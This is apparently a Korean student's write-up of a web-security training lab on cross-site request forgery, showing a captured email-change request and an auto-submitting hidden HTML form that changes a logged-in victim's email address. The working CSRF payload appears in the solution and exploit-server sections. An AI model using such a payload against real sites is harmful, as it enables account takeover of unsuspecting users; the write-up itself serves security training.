

# WhiteHat School 1기

CSRF 문제 Write-up

Team: 과부화

Writer: 정진교

## 문제분석

### Lab: CSRF vulnerability with no defenses

APPRENTICE



This lab's email change functionality is vulnerable to CSRF.

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.

You can log in to your own account using the following credentials: `wiener:peter`

Hint



ACCESS THE LAB

문제를 해석하자면 해당 lab의 이메일 변경 기능은 csrf에 취약하다, lab을 해결하기 위해서는 csrf 공격을 사용하여 viewer의 전자 메일 주소를 변경하고 공격 서버에 업로드하는 일부 HTML을 만들라고 쓰여져 있다. 마지막 줄에 보면 wiener:peter 계정을 사용하여 공격을 설계할 수 있다고 되어있다.

[Home](#) | [My account](#)

#### Login

Username

wiener

Password

.....

Log in

접속을 하게 되면 이렇게 로그인 페이지가 나타나게 되는데 문제에서 제공해준 계정인 wiener:peter 계정으로 로그인을 하되, Burp Suite를 사용하여 중간에서 프록시를 이용할 예정이다. 프록시 설정을 해준다음 Burp Suite에서 프록시를 잡아본다.

## My Account

Your username is: wiener

Your email is: wiener@normal-user.net

Email

123@gmail.com

Update email

Burp Suite를 킨 상태로 변경하고자 할 임의의 이메일 값 : 123@gmail.com을 넣고 Update Email버튼을 누르자 아래와 같이 나온다.

```
POST /my-account/change-email HTTP/2
Host: 0ab200d304f8b3dd8235e4340054007f.web-security-academy.net
Cookie: session=c5uRLY96Kt03yuRV7qK9J1NA6AJvXQ
Content-Length: 21
Cache-Control: max-age=0
Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ab200d304f8b3dd8235e4340054007f.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ab200d304f8b3dd8235e4340054007f.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7

email=12340@gmail.com
```

Update Email 항목에서 Email 정보를 마지막 줄에 ‘email’ 값으로 전송하며 첫 줄에서 ‘POST’ 방식으로 전송한다는 것을 알 수 있다.

웹상 헤더를 받음에 있어 GET/POST 두 가지 방식이 존재하는데

URL 상에 데이터가 그대로 전송되는 GET방식.

데이터 형식으로 Html 헤더의 <body> 태그에 담아서 전송하는 방식이 POST방식이다.

해당 사이트에서 POST 방식으로 데이터를 전송했다는 것은 공격자가 <body> 태그에 데이터 값을 담아 전송해줘야 한다는 것이고 email 이라는 value를 이용해 html 코드를 짜면 된다.

## 문제풀이

```
<form action="https://0ab200d304f8b3dd8235e4340054007f.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="thx@gmail.com">
</form>

<script>
  document.forms[0].submit()
</script>
```

form 태그의 method 속성을 'post' 로 설정해주고 Burp Suite의 Raw 값에서 얻은 Host 값을 이용하였다.

웹 페이지가 로드되면 자동으로 해당 url로 post 요청을 보내서 이메일 주소를 thx@gmail.com라는 임의의 주소로 변경하려는 구문이다.

### Craft a response

URL: https://exploit-0a8000b40455b337823ee31e01760001.exploit-server.net/exploit

HTTPS



File:

/exploit

Head:

HTTP/1.1 200 OK  
Content-Type: text/html; charset=utf-8

Body:

```
<form action="https://0ab200d304f8b3dd8235e4340054007f.web-security-academy.net/my-account/change-email" method="POST">
  <input type="hidden" name="email" value="thx@gmail.com">
</form>

<script>
  document.forms[0].submit()
</script>
```

Store

View exploit

Deliver exploit to victim

Access log

마지막으로 문제에서 제공한 exploit 서버에서 Body에 작성한 HTML 코드를 넣어주고 View exploit을 눌러 이메일 정보를 확인하면

## 결과

### My Account

Your username is: wiener

Your email is: thx@gmail.com

Email

**Update email**

Your email is : thx@gmail.com으로 변경된 것을 확인할 수 있다.



**Web Security Academy**

CSRF vulnerability with no defenses

LAB Solved

[Back to lab description >>](#)

**Congratulations, you solved the lab!**

Share your skills!   Continue learning >>

이메일 주소가 변경된 상태에서 Deliever exploit to victim 버튼을 클릭해 공격을 진행하면

Congratulations, you solved the lab! 이라는 구문과 함께 문제가 풀리게 된다.